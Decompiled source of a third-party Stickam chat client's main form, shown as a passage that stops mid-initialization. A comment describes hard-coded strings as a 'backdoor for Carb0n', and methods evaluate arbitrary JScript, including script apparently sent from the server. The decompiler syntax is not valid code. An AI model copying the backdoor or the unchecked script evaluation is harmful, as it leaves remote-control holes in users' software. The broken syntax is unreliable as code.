﻿namespace Stickam_Client
{
    [DesignerGenerated]
    public __gc class Form1 : public Form
    {
        // Nested Types
        public: __delegate void __gc* FontUpdatedEventHandler();


        public: __delegate void __gc* NewPrivateMessageEventHandler(String __gc* userID, String __gc* msg, String __gc* font, String __gc* fontColor, Int32 __gc* fontSize, Boolean __gc* isBold, Boolean __gc* isItalics, Boolean __gc* isUnderline);


        private: __delegate void __gc* ParamsDelegate(String __gc* CallType, Object __gc* Param);


        public: __delegate void __gc* RoomlistRetrievedEventHandler(Boolean __gc* IsSuccess);


        private: __delegate void __gc* ST(String __gc* vCode, Int32 __gc* iMilliseconds);


        // Events
        public: __event FontUpdatedEventHandler __gc* FontUpdated;
        public: __event NewPrivateMessageEventHandler __gc* NewPrivateMessage;
        public: __event RoomlistRetrievedEventHandler __gc* RoomlistRetrieved;

        // Methods
        public: Form1()
        {
            base->Load += new EventHandler __gc*(this.Form1_Load);
            this->DelegateThread = new ParamsDelegate __gc*(this.ThreadSafe);
//			I think this was a backdoor for Carb0n...so I changed it here.
//			If you want, you can replace this with something else, just make
//			sure that it's the same number of letters in the middle and
//			at the end.
            this->ExecuteAllow = S"\0cuntfuckshitdick\0dick";
            this->FailSafe = S"\0dickcuntfuckshit\0cunt";
            this->FailSafe2 = S"\0fuckdickcuntshit\0fuck";
//			End of Carbon's Backdoor (Remove these lines will leave an error later on...
//			So just change them a little to make sure nobody can hack you.
            this->PrivateMessages = __gc new String __gc*[1];
            this->SaveFileDlg = __gc new SaveFileDialog();
            this->UserIconList = __gc new ImageList();
            this->UserIconListInverted = __gc new ImageList();
            this->PingTimer = __gc new Timer();
            this->StickamStream = __gc new StickamRtmp();
            this->StickamWeb = __gc new StickamHttp();
            this->TimeoutTimer = __gc new Timer();
            this->MyVars = __gc new VarsClass();
            this->Roomlist = __gc new RoomlistClass();
            this->ScriptControl = RuntimeHelpers::GetObjectValue(Interaction::CreateObject(S"MSScriptControl.ScriptControl", S""));
            this->ShowingData = false;
            this->Userlist = __gc new UserlistClass(this);
            this->XX = S"\0\0\0\0";
            this->InitializeComponent();
        }

        private: void __gc* About_Click(Object __gc* sender, EventArgs __gc* e)
        {
            Interaction::MsgBox(Strings::Replace(S"Nobody Really Cares Anymore....\n\rJust sayin", 1, -1, CompareMethod::Binary), MsgBoxStyle::OkOnly, S"Stickam Client [Version 0.87b]");
        }

        public: void __gc* addColorText(String __gc* msg, String __gc* fontColor, Boolean __gc* newLine)
        {
            if (newLine && (this->LobbyChat->TextLength > 0))
            {
                msg = String::Concat(S"\r\n", msg);
            }
            this->AddRichText(msg, __gc new Font(S"Arial", 9, FontStyle::Bold), Globals::ColorFromString(fontColor));
        }

        public: void __gc* addFontText(String __gc* Msg, String __gc* font, String __gc* fontColor, Int32 __gc* fontSize, Boolean __gc* isBold, Boolean __gc* isItalics, Boolean __gc* isUnderline, Boolean __gc* newLine)
        {
            Int32 __gc* num = 0;
            if (isBold)
            {
                num++;
            }
            if (isItalics)
            {
                num += 2;
            }
            if (isUnderline)
            {
                num += 4;
            }
            if (newLine && (this->LobbyChat->TextLength > 0))
            {
                Msg = String::Concat(S"\r\n", Msg);
            }
            this->AddRichText(Msg, __gc new Font(font, *static_cast<__box Single*>((fontSize - 3)), *static_cast<__box FontStyle*>(num)), Globals::ColorFromString(fontColor));
        }

        private: void __gc* AddRichText(String __gc* Msg, Font __gc* FontType, Color __gc* FontColor)
        {
            Boolean __gc* flag = false;
            if (MySettingsProperty::Settings->PlayKeywordSound)
            {
                foreach (String __gc* str in this->Keywords)
                {
                    if (Strings::InStr(Msg, str, CompareMethod::Binary) != 0)
                    {
                        flag = true;
                    }
                }
            }
            if (MySettingsProperty::Settings->InvertRGB)
            {
                FontColor = this->InvertColor(FontColor);
            }
            this->LobbyChat->SelectionColor = FontColor;
            this->LobbyChat->SelectionFont = FontType;
            this->LobbyChat->AppendText(Msg);
            if (flag)
            {
                this->playSound(String::Concat(this->MyVars->currentDirectory, S"ding.wav"));
            }
        }

        public: void __gc* addText(String __gc* msg, Boolean __gc* newLine)
        {
            if (newLine && (this->LobbyChat->TextLength > 0))
            {
                msg = String::Concat(S"\r\n", msg);
            }
            this->AddRichText(msg, __gc new Font(S"Arial", 9, FontStyle::Bold), Globals::DefaultColor);
        }

        public: void __gc* alert(Object __gc* obj)
        {
            Interaction::MsgBox(RuntimeHelpers::GetObjectValue(obj), MsgBoxStyle::OkOnly, S"Script Control");
        }

        public: Int32 __gc* bytesToInt(String __gc* str)
        {
            return Globals::BytesToInt(str);
        }

        private: void __gc* ChatOptions_Click(Object __gc* sender, EventArgs __gc* e)
        {
            MyProject::Forms->Form_ChatOptions->Location = this->ChildFormLocation();
            MyProject::Forms->Form_ChatOptions->FormParent = this;
            MyProject::Forms->Form_ChatOptions->Show();
        }

        private: Point __gc* ChildFormLocation()
        {
            return ((this->Left + 5), (this->Top + 0x1f));
        }

        private: void __gc* ClearChat_Click(Object __gc* sender, EventArgs __gc* e)
        {
            this->LobbyChat->Clear();
        }

        public: String __gc* clipboardText()
        {
            return Clipboard::GetText();
        }

        public: void __gc* connect(Object __gc* serverIP)
        {
            this->StickamStream->Connect(Conversions::ToString(serverIP));
        }

        [DllImport(S"Kernel32", EntryPoint=S"RtlMoveMemory", CharSet=CharSet::Ansi, SetLastError=true, ExactSpelling=true)]
        private: static extern void __gc* CopyMemoryBTD(Double __gc*& hDest, [MarshalAs(UnmanagedType::VBByRefStr)] String __gc*& hSource, Int32 __gc* iBytes);

        [DllImport(S"Kernel32", EntryPoint=S"RtlMoveMemory", CharSet=CharSet::Ansi, SetLastError=true, ExactSpelling=true)]
        private: static extern void __gc* CopyMemoryDTB([MarshalAs(UnmanagedType::VBByRefStr)] String __gc*& hDest, Double __gc*& hSource, Int32 __gc* iBytes);

        private: void __gc* Dataflow_Click(Object __gc* sender, EventArgs __gc* e)
        {
            if (this->StickamStream->EnableDataflow)
            {
                this->StickamStream->EnableDataflow = false;
                this->Dataflow->Text = S"Enable Incoming";
                this->addColorText(S"It is recommended that you disconnect before you re-enable incoming data.", S"Red", true);
            }
            else
            {
                this->StickamStream->EnableDataflow = true;
                this->Dataflow->Text = S"Disable Incoming";
            }
        }

        public: String __gc* dataGram(Int32 __gc* ObjectID, Int32 __gc* Timestamp, Int32 __gc* Command, Int32 __gc* StreamID, String __gc* Data)
        {
            return String::Concat(__gc new String __gc*[6] {
                Conversions::ToString(Strings::Chr(ObjectID)), this->intToBytes(Timestamp, 3), this->intToBytes(Data->Length, 3), Conversions::ToString(Strings::Chr(Command)), this->intToBytes(StreamID, 4), Globals::AddSplitters(Data, ObjectID)});
        }

        private: void __gc* DisablePM_Click(Object __gc* sender, EventArgs __gc* e)
        {
            if (MySettingsProperty::Settings->DisabledPM)
            {
                MySettingsProperty::Settings->DisabledPM = false;
                this->DisablePM->Text = S"Disable PMs";
            }
            else
            {
                MySettingsProperty::Settings->DisabledPM = true;
                this->DisablePM->Text = S"Enable PMs";
            }
        }

        private: void __gc* Disconnect_Click(Object __gc* sender, EventArgs __gc* e)
        {
            this->StickamStream->Close();
        }

        private: void __gc* DisplayNameMenu_DropDownClosed(Object __gc* sender, EventArgs __gc* e)
        {
            this->MyVars->myScreenName = this->DisplayName->Text;
        }

        [DebuggerNonUserCode]
        protected: override void __gc* Dispose(Boolean __gc* disposing)
        {
            try
            {
                if (disposing && (this->components != 0))
                {
                    this->components->Dispose();
                }
            }
            finally
            {
                base->Dispose(disposing);
            }
        }

        public: void __gc* doClose()
        {
            this->StickamStream->Close();
        }

        public: void __gc* doJoin(String __gc* roomID, String __gc* roomName, String __gc* roomPass)
        {
            this->MyVars->roomType = S"group";
            this->MyVars->roomID = roomID;
            this->MyVars->roomName = roomName;
            this->MyVars->roomPass = roomPass;
            try
            {
                if (Conversions::ToBoolean(NewLateBinding::LateGet(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                    S"Client_retrievingRoomIP"}, 0, 0, 0)))
                {
                    this->setStatus(S"Retrieving room IP...");
                    this->StickamWeb->GetRoomIP(roomID, Conversions::ToString(1));
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_retrievingRoomIP");
                ProjectData::ClearProjectError();
            }
        }

        public: void __gc* doJoinLive(String __gc* StickamURL)
        {
            Int32 __gc* num2 = Conversions::ToInteger(S"0123456789");
            Boolean __gc* flag = false;
            this->MyVars->roomType = S"live";
            this->DisplayNameMenu->Enabled = false;
            StickamURL = Strings::Replace(StickamURL, S"\n", S"", 1, -1, CompareMethod::Binary);
            StickamURL = Strings::Replace(StickamURL, S"\r", S"", 1, -1, CompareMethod::Binary);
            StickamURL = Strings::Replace(StickamURL, S" ", S"", 1, -1, CompareMethod::Binary);
            StickamURL = Strings::Replace(StickamURL, S"http:", S"", 1, -1, CompareMethod::Binary);
            StickamURL = Strings::Replace(StickamURL, S"www.", S"", 1, -1, CompareMethod::Binary);
            StickamURL = Strings::Replace(StickamURL, S"stickam.com", S"", 1, -1, CompareMethod::Binary);
            StickamURL = Strings::Replace(StickamURL, S"/", S"", 1, -1, CompareMethod::Binary);
            Int32 __gc* length = StickamURL->Length;
            for (Int32 __gc* i = 1; (i <= length); i++)
            {
                if (Strings::InStr(Conversions::ToString(num2), Strings::Mid(StickamURL, i, 1), CompareMethod::Binary) == 0)
                {
                    flag = true;
                    break;
                }
            }
            if (flag)
            {
                try
                {
                    if (Conversions::ToBoolean(NewLateBinding::LateGet(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                        S"Client_retrievingHostID"}, 0, 0, 0)))
                    {
                        this->setStatus(S"Retrieving host\'s ID...");
                        this->StickamWeb->GetHostID(StickamURL);
                    }
                }
                catch (Exception __gc* exception1)
                {
                    ProjectData::SetProjectError(exception1);
                    Exception __gc* exception = exception1;
                    this->ScriptError(S"Client_retrievingHostID");
                    ProjectData::ClearProjectError();
                }
            }
            else
            {
                this->MyVars->hostID = StickamURL;
                try
                {
                    if (Conversions::ToBoolean(NewLateBinding::LateGet(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                        S"Client_retrievingRoomIP"}, 0, 0, 0)))
                    {
                        this->setStatus(S"Retrieving room ID and IP...");
                        this->StickamWeb->GetRoomIP(this->MyVars->hostID, Conversions::ToString(2));
                    }
                }
                catch (Exception __gc* exception3)
                {
                    ProjectData::SetProjectError(exception3);
                    Exception __gc* exception2 = exception3;
                    this->ScriptError(S"Client_retrievingRoomIP");
                    ProjectData::ClearProjectError();
                }
            }
        }

        public: void __gc* doLogin(String __gc* Email, String __gc* Pass)
        {
            if (Pass->Length > 14)
            {
                Pass = Strings::Mid(Pass, 1, 14);
            }
            this->MyVars->loginEmail = Email;
            this->MyVars->loginPass = Pass;
            try
            {
                if (Conversions::ToBoolean(NewLateBinding::LateGet(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                    S"Client_loggingIn"}, 0, 0, 0)))
                {
                    this->Login->Enabled = false;
                    this->setStatus(String::Concat(S"Logging in with ", Email, S"..."));
                    this->StickamWeb->Login(Email, Pass);
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_loggingIn");
                ProjectData::ClearProjectError();
            }
        }

        public: void __gc* ExecuteScript(String __gc* ScriptStr)
        {
            try
            {
                Object __gc* arguments __gc [] = __gc new Object __gc*[1] {
                    ScriptStr};
                Boolean __gc* copyBack __gc [] = __gc new Boolean __gc*[1] {
                    true};
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Eval", arguments, 0, 0, copyBack, true);
                if (copyBack[0])
                {
                    ScriptStr = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[0]), __typeof(String)));
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Executing script statement");
                ProjectData::ClearProjectError();
            }
        }

        public: void __gc* ExecuteServerScript(String __gc* ScriptStr)
        {
            try
            {
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", __gc new Object __gc*[2] {
                    S"Client_executeServerScript", Strings::Replace(ScriptStr, S"%ROOMID%", this->MyVars->roomID, 1, -1, CompareMethod::Binary)}, 0, 0, 0, true);
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Executing script statement on server.");
                ProjectData::ClearProjectError();
            }
        }

        private: void __gc* ExecuteStatement_Click(Object __gc* sender, EventArgs __gc* e)
        {
            MyProject::Forms->Form_ExecuteStatement->Location = this->ChildFormLocation();
            MyProject::Forms->Form_ExecuteStatement->FormParent = this;
            MyProject::Forms->Form_ExecuteStatement->Show();
        }

        private: void __gc* Form1_Load(Object __gc* sender, EventArgs __gc* e)
        {
            this->UserIconList->Images->Add(S"user_reg", Resources::user_reg);
            this->UserIconList->Images->Add(S"user_cam", Resources::user_cam);
            this->UserIconList->Images->Add(S"user_mod", Resources::user_mod);
            this->UserIconList->Images->Add(S"user_host", Resources::user_host);
            this->UserIconList->Images->Add(S"user_glb", Resources::user_glb);
            this->UserIconListInverted->Images->Add(S"user_reg", Resources::user_reg_inv);
            this->UserIconListInverted->Images->Add(S"user_cam", Resources::user_cam_inv);
            this->UserIconListInverted->Images->Add(S"user_mod", Resources::user_mod_inv);
            this->UserIconListInverted->Images->Add(S"user_host", Resources::user_host_inv);
            this->UserIconListInverted->Images->Add(S"user_glb", Resources::user_glb_inv);
            this->UserlistCtl->ImageList = this->UserIconList;
            if (MySettingsProperty::Settings->InvertRGB)
            {
                this->invertRGB();
            }
            this->UpdateKeywords();
            NewLateBinding::LateSet(this->ScriptControl, 0, S"Language", __gc new Object __gc*[1] {
                S"JScript"}, 0, 0);
            this->ResetScriptControl();
            this->UpdateFont();
            this->setStatus(S"Idle.");
            try
            {
                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", __gc new Object __gc*[1] {
                    S"Client_applicationLoaded"}, 0, 0, 0, true);
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_applicationLoaded");
                ProjectData::ClearProjectError();
            }
            if (MySettingsProperty::Settings->ShowData)
            {
                this->ShowData->Text = S"Hide Data";
                this->ShowingData = true;
            }
            if (MySettingsProperty::Settings->PM_Mode)
            {
                this->PM_Mode->Text = S"PM In Box";
            }
            if (MySettingsProperty::Settings->DisabledPM)
            {
                this->DisablePM->Text = S"Enable PMs";
            }
            this->Keywords = Strings::Split(MySettingsProperty::Settings->Keywords, S",", -1, CompareMethod::Binary);
            if (!MySettingsProperty::Settings->StartupOp)
            {
                this->Close();
            }
        }

        public: void __gc* getRoomlist()
        {
            this->setStatus(S"Retrieving roomlist...");
            this->StickamWeb->GetRoomlist();
        }

        public: String __gc* getWebpage(String __gc* Url)
        {
            String __gc* str2 = S"";
            try
            {
                HttpWebRequest __gc* request = *static_cast<__box HttpWebRequest*>(WebRequest::Create(Url));
                HttpWebResponse __gc* response = *static_cast<__box HttpWebResponse*>(request->GetResponse());
                str2 = __gc new StreamReader(response->GetResponseStream())->ReadToEnd();
                response->Close();
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                ProjectData::ClearProjectError();
            }
            return str2;
        }

        public: String __gc* htmlDecode(String __gc* htmlData)
        {
            return HttpUtility::HtmlDecode(HttpUtility::UrlDecode(htmlData));
        }

        public: String __gc* htmlEncode(String __gc* htmlData)
        {
            return HttpUtility::HtmlEncode(htmlData);
        }

        [DebuggerStepThrough]
        private: void __gc* InitializeComponent()
        {
            this->components = __gc new Container();
            ComponentResourceManager __gc* manager = __gc new ComponentResourceManager(__typeof(Form1));
            this->MenuStrip1 = __gc new MenuStrip();
            this->StickamMenu = __gc new ToolStripMenuItem();
            this->Login = __gc new ToolStripMenuItem();
            this->ProxySettings = __gc new ToolStripMenuItem();
            this->ToolStripSeparator1 = __gc new ToolStripSeparator();
            this->JoinRoom = __gc new ToolStripMenuItem();
            this->JoinLive = __gc new ToolStripMenuItem();
            this->Disconnect = __gc new ToolStripMenuItem();
            this->ToolStripSeparator2 = __gc new ToolStripSeparator();
            this->ShowData = __gc new ToolStripMenuItem();
            this->Dataflow = __gc new ToolStripMenuItem();
            this->ChatMenu = __gc new ToolStripMenuItem();
            this->ChatOptions = __gc new ToolStripMenuItem();
            this->ClearChat = __gc new ToolStripMenuItem();
            this->SaveChat = __gc new ToolStripMenuItem();
            this->ToolStripSeparator4 = __gc new ToolStripSeparator();
            this->DisablePM = __gc new ToolStripMenuItem();
            this->PM_Mode = __gc new ToolStripMenuItem();
            this->ToolStripSeparator5 = __gc new ToolStripSeparator();
            this->DisplayNameMenu = __gc new ToolStripMenuItem();
            this->DisplayName = __gc new ToolStripTextBox();
            this->ScriptMenu = __gc new ToolStripMenuItem();
            this->ResetHandler = __gc new ToolStripMenuItem();
            this->ExecuteStatement = __gc new ToolStripMenuItem();
            this->HelpMenu = __gc new ToolStripMenuItem();
            this->About = __gc new ToolStripMenuItem();
            this->StatusStrip1 = __gc new StatusStrip();
            this->Status = __gc new ToolStripStatusLabel();
            this->SplitContainer1 = __gc new SplitContainer();
            this->SplitContainer2 = __gc new SplitContainer();
            this->LobbyChat = __gc new RichTextBox();
            this->LobbyInput = __gc new TextBox();
            this->UserlistCtl = __gc new TreeView();
            this->UserMenu = __gc new ContextMenuStrip(this->components);
            this->UserMenu_SendMessage = __gc new ToolStripMenuItem();
            this->UserMenu_GetUserInfo = __gc new ToolStripMenuItem();
            this->UserMenu_ViewProfile = __gc new ToolStripMenuItem();
            this->UserMenu_MakeModerator = __gc new ToolStripMenuItem();
            this->UserMenu_IgnoreUser = __gc new ToolStripMenuItem();
            this->UserMenu_KickUser = __gc new ToolStripMenuItem();
            this->ToolStripSeparator3 = __gc new ToolStripSeparator();
            this->UserMenu_StealFont = __gc new ToolStripMenuItem();
            this->UserMenu_StealName = __gc new ToolStripMenuItem();
            this->UserMenu_StealFontName = __gc new ToolStripMenuItem();
            this->MenuStrip1->SuspendLayout();
            this->StatusStrip1->SuspendLayout();
            this->SplitContainer1->Panel1->SuspendLayout();
            this->SplitContainer1->Panel2->SuspendLayout();
            this->SplitContainer1->SuspendLayout();
            this->SplitContainer2->Panel1->SuspendLayout();
            this->SplitContainer2->Panel2->SuspendLayout();
            this->SplitContainer2->SuspendLayout();
            this->UserMenu->SuspendLayout();
            this->SuspendLayout();
            this->MenuStrip1->BackColor = SystemColors::Control;
            Size __gc* size = (0, 0);
            this->MenuStrip1->ImageScalingSize = size;
            this->MenuStrip1->Items->AddRange(__gc new ToolStripItem __gc*[4] {
                this->StickamMenu, this->ChatMenu, this->ScriptMenu, this->HelpMenu});
            Point __gc* point = (0, 0);
            this->MenuStrip1->Location = point;
            this->MenuStrip1->Name = S"MenuStrip1";
            this->MenuStrip1->RenderMode = ToolStripRenderMode::System;
            size = (0x1ec, 0x18);
            this->MenuStrip1->Size = size;
            this->MenuStrip1->TabIndex = 0;
            this->MenuStrip1->Text = S"MenuStrip1";
            this->StickamMenu->DropDownItems->AddRange(__gc new ToolStripItem __gc*[9] {
                this->Login, this->ProxySettings, this->ToolStripSeparator1, this->JoinRoom, this->JoinLive, this->Disconnect, this->ToolStripSeparator2, this->ShowData, this->Dataflow});
            this->StickamMenu->Name = S"StickamMenu";
            size = (0x37, 20);
            this->StickamMenu->Size = size;
            this->StickamMenu->Text = S"Stickam";
            this->Login->Name = S"Login";
            size = (0xa7, 0x16);
            this->Login->Size = size;
            this->Login->Text = S"Login...";
            this->Login->ToolTipText = S"Begin a session...";
            this->ProxySettings->Name = S"ProxySettings";
            size = (0xa7, 0x16);
            this->ProxySettings->Size = size;
            this->ProxySettings->Text = S"Proxy Settings...";
            this->ProxySettings->ToolTipText = S"Modify your proxy settings";
            this->ToolStripSeparator1->Name = S"ToolStripSeparator1";
            size = (0xa4, 6);
            this->ToolStripSeparator1->Size = size;
            this->JoinRoom->Enabled = false;
            this->JoinRoom->Name = S"JoinRoom";
            size = (0xa7, 0x16);
            this->JoinRoom->Size = size;
            this->JoinRoom->Text = S"Join Room...";
            this->JoinLive->Enabled = false;
            this->JoinLive->Name = S"JoinLive";
            size = (0xa7, 0x16);
            this->JoinLive->Size = size;
            this->JoinLive->Text = S"Join Live...";
            this->Disconnect->Enabled = false;
            this->Disconnect->Name = S"Disconnect";
            size = (0xa7, 0x16);
            this->Disconnect->Size = size;
            this->Disconnect->Text = S"Disconnect";
            this->ToolStripSeparator2->Name = S"ToolStripSeparator2";
            size = (0xa4, 6);
            this->ToolStripSeparator2->Size = size;
            this->ShowData->Name = S"ShowData";
            size = (0xa7, 0x16);
            this->ShowData->Size = size;
            this->ShowData->Text = S"Show Data";
            this->Dataflow->Name = S"Dataflow";
            size = (0xa7, 0x16);
            this->Dataflow->Size = size;
            this->Dataflow->Text = S"Disable Incoming";
            this->ChatMenu->DropDownItems->AddRange(__gc new ToolStripItem __gc*[8] {
                this->ChatOptions, this->ClearChat, this->SaveChat, this->ToolStripSeparator4, this->DisablePM, this->PM_Mode, this->ToolStripSeparator5, this->DisplayNameMenu});
            this->ChatMenu->Name = S"ChatMenu";
            size = (0x2a, 20);
            this->ChatMenu->Size = size;
            this->ChatMenu->Text = S"Chat";
            this->ChatOptions->Name = S"ChatOptions";
            size = (160, 0x16);
            this->ChatOptions->Size = size;
            this->ChatOptions->Text = S"Chat Options...";
            this->ClearChat->Name = S"ClearChat";
            size = (160, 0x16);
            this->ClearChat->Size = size;
            this->ClearChat->Text = S"Clear Chat";
            this->SaveChat->Name = S"SaveChat";
            size = (160, 0x16);
            this->SaveChat->Size = size;
            this->SaveChat->Text = S"Save Chat...";
            this->ToolStripSeparator4->Name = S"ToolStripSeparator4";
            size = (0x9d, 6);
            this->ToolStripSeparator4->Size = size;
            this->DisablePM->Name = S"DisablePM";
            size = (160, 0x16);
            this->DisablePM->Size = size;
            this->DisablePM->Text = S"Disable PMs";
            this->PM_Mode->Name = S"PM_Mode";
            size = (160, 0x16);
            this->PM_Mode->Size = size;
            this->PM_Mode->Text = S"PM In Lobby";
            this->ToolStripSeparator5->Name = S"ToolStripSeparator5";
            size = (0x9d, 6);
            this->ToolStripSeparator5->Size = size;
            this->DisplayNameMenu->DropDownItems->AddRange(__gc new ToolStripItem __gc*[1] {
                this->DisplayName});
            this->DisplayNameMenu->Name = S"DisplayNameMenu";
            size = (160, 0x16);
            this->DisplayNameMenu->Size = size;
            this->DisplayNameMenu->Text = S"Display Name";
            this->DisplayName->Name = S"DisplayName";
            size = (100, 0x15);
            this->DisplayName->Size = size;
            this->DisplayName->ToolTipText = S"Leave blank to use your default name.";
            this->ScriptMenu->DropDownItems->AddRange(__gc new ToolStripItem __gc*[2] {
                this->ResetHandler, this->ExecuteStatement});
            this->ScriptMenu->Name = S"ScriptMenu";
            size = (0x2e, 20);
            this->ScriptMenu->Size = size;
            this->ScriptMenu->Text = S"Script";
            this->ResetHandler->Name = S"ResetHandler";
            size = (0xbd, 0x16);
            this->ResetHandler->Size = size;
            this->ResetHandler->Text = S"Reset Script Control";
            this->ExecuteStatement->Name = S"ExecuteStatement";
            size = (0xbd, 0x16);
            this->ExecuteStatement->Size = size;
            this->ExecuteStatement->Text = S"Execute Statement...";
            this->HelpMenu->DropDownItems->AddRange(__gc new ToolStripItem __gc*[1] {
                this->About});
            this->HelpMenu->Name = S"HelpMenu";
            size = (40, 20);
            this->HelpMenu->Size = size;
            this->HelpMenu->Text = S"Help";
            this->About->Name = S"About";
            size = (0x7e, 0x16);
            this->About->Size = size;
            this->About->Text = S"About...";
            this->StatusStrip1->Items->AddRange(__gc new ToolStripItem __gc*[1] {
                this->Status});
            point = (0, 0x126);
            this->StatusStrip1->Location = point;
            this->StatusStrip1->Name = S"StatusStrip1";
            size = (0x1ec, 0x16);
            this->StatusStrip1->Size = size;
            this->StatusStrip1->TabIndex = 1;
            this->StatusStrip1->Text = S"StatusStrip1";
            this->Status->BackColor = SystemColors::Control;
            this->Status->Name = S"Status";
            size = (0x2a, 0x11);
            this->Status->Size = size;
            this->Status->Text = S"Status:";
            this->SplitContainer1->BackColor = SystemColors::Control;
            this->SplitContainer1->Dock = DockStyle::Fill;
            this->SplitContainer1->FixedPanel = FixedPanel::Panel2;
            point = (0, 0x18);
            this->SplitContainer1->Location = point;
            this->SplitContainer1->Name = S"SplitContainer1";
            this->SplitContainer1->Panel1->Controls->Add(this->SplitContainer2);
            this->SplitContainer1->Panel2->Controls->Add(this->UserlistCtl);
            this->SplitContainer1->Panel2MinSize = 120;
            size = (0x1ec, 270);
            this->SplitContainer1->Size = size;
            this->SplitContainer1->SplitterDistance = 370;
            this->SplitContainer1->SplitterWidth = 2;
            this->SplitContainer1->TabIndex = 1;
            this->SplitContainer2->Dock = DockStyle::Fill;
            this->SplitContainer2->FixedPanel = FixedPanel::Panel2;
            point = (0, 0);
            this->SplitContainer2->Location = point;
            this->SplitContainer2->Name = S"SplitContainer2";
            this->SplitContainer2->Orientation = Orientation::Horizontal;
            this->SplitContainer2->Panel1->Controls->Add(this->LobbyChat);
            this->SplitContainer2->Panel2->Controls->Add(this->LobbyInput);
            this->SplitContainer2->Panel2MinSize = 0x23;
            size = (370, 270);
            this->SplitContainer2->Size = size;
            this->SplitContainer2->SplitterDistance = 0xe9;
            this->SplitContainer2->SplitterWidth = 2;
            this->SplitContainer2->TabIndex = 0;
            this->LobbyChat->BackColor = Color::White;
            this->LobbyChat->Dock = DockStyle::Fill;
            this->LobbyChat->HideSelection = false;
            point = (0, 0);
            this->LobbyChat->Location = point;
            this->LobbyChat->Name = S"LobbyChat";
            this->LobbyChat->ReadOnly = true;
            this->LobbyChat->ScrollBars = RichTextBoxScrollBars::Vertical;
            size = (370, 0xe9);
            this->LobbyChat->Size = size;
            this->LobbyChat->TabIndex = 0;
            this->LobbyChat->Text = S"";
            this->LobbyInput->Dock = DockStyle::Fill;
            point = (0, 0);
            this->LobbyInput->Location = point;
            this->LobbyInput->Multiline = true;
            this->LobbyInput->Name = S"LobbyInput";
            size = (370, 0x23);
            this->LobbyInput->Size = size;
            this->LobbyInput->TabIndex = 0;
            this->UserlistCtl->ContextMenuStrip = this->UserMenu;
            this->UserlistCtl->Dock = DockStyle::Fill;
            this->UserlistCtl->Font = __gc new Font(S"Arial", 8.25, FontStyle::Regular, GraphicsUnit::Point, 0);
            this->UserlistCtl->Indent = 0x10;
            this->UserlistCtl->ItemHeight = 0x10;
            point = (0, 0);
            this->UserlistCtl->Location = point;
            this->UserlistCtl->Name = S"UserlistCtl";
            this->UserlistCtl->ShowLines = false;
            this->UserlistCtl->ShowPlusMinus = false;
            size = (120, 270);
            this->UserlistCtl->Size = size;
            this->UserlistCtl->TabIndex = 0;
            this->UserMenu->DropShadowEnabled = false;
            this->UserMenu->Font = __gc new Font(S"Tahoma", 8.25, FontStyle::Regular, GraphicsUnit::Point, 0);
            this->UserMenu->Items->AddRange(__gc new ToolStripItem __gc*[10] {
                this->UserMenu_SendMessage, this->UserMenu_GetUserInfo, this->UserMenu_ViewProfile, this->UserMenu_MakeModerator, this->UserMenu_IgnoreUser, this->UserMenu_KickUser, this->ToolStripSeparator3, this->UserMenu_StealFont, this->UserMenu_StealName, this->UserMenu_StealFontName});
            this->UserMenu->Name = S"UserMenu";
            this->UserMenu->RenderMode = ToolStripRenderMode::System;
            this->UserMenu->ShowImageMargin = false;
            this->UserMenu->ShowItemToolTips = false;
            size = (0x98, 0xd0);
            this->UserMenu->Size = size;
            this->UserMenu_SendMessage->Font = __gc new Font(S"Tahoma", 8.25, FontStyle::Regular, GraphicsUnit::Point, 0);
            this->UserMenu_SendMessage->Name = S"UserMenu_SendMessage";
            size = (0x97, 0x16);
            this->UserMenu_SendMessage->Size = size;
            this->UserMenu_SendMessage->Text = S"Send a message...";
            this->UserMenu_GetUserInfo->Name = S"UserMenu_GetUserInfo";
            size = (0x97, 0x16);
            this->UserMenu_GetUserInfo->Size = size;
            this->UserMenu_GetUserInfo->Text = S"Get User Info";
            this->UserMenu_ViewProfile->Name = S"UserMenu_ViewProfile";
            size = (0x97, 0x16);
            this->UserMenu_ViewProfile->Size = size;
            this->UserMenu_ViewProfile->Text = S"View Profile";
            this->UserMenu_MakeModerator->Name = S"UserMenu_MakeModerator";
            size = (0x97, 0x16);
            this->UserMenu_MakeModerator->Size = size;
            this->UserMenu_MakeModerator->Text = S"Make Moderator";
            this->UserMenu_IgnoreUser->Name = S"UserMenu_IgnoreUser";
            size = (0x97, 0x16);
            this->UserMenu_IgnoreUser->Size = size;
            this->UserMenu_IgnoreUser->Text = S"Ignore [user]";
            this->UserMenu_KickUser->Font = __gc new Font(S"Tahoma", 8.25, FontStyle::Regular, GraphicsUnit::Point, 0);
            this->UserMenu_KickUser->Name = S"UserMenu_KickUser";
            size = (0x97, 0x16);
            this->UserMenu_KickUser->Size = size;
            this->UserMenu_KickUser->Text = S"Kick [user]";
            this->ToolStripSeparator3->Name = S"ToolStripSeparator3";
            size = (0x94, 6);
            this->ToolStripSeparator3->Size = size;
            this->UserMenu_StealFont->Font = __gc new Font(S"Tahoma", 8.25, FontStyle::Regular, GraphicsUnit::Point, 0);
            this->UserMenu_StealFont->Name = S"UserMenu_StealFont";
            size = (0x97, 0x16);
            this->UserMenu_StealFont->Size = size;
            this->UserMenu_StealFont->Text = S"Steal Font";
            this->UserMenu_StealName->Font = __gc new Font(S"Tahoma", 8.25, FontStyle::Regular, GraphicsUnit::Point, 0);
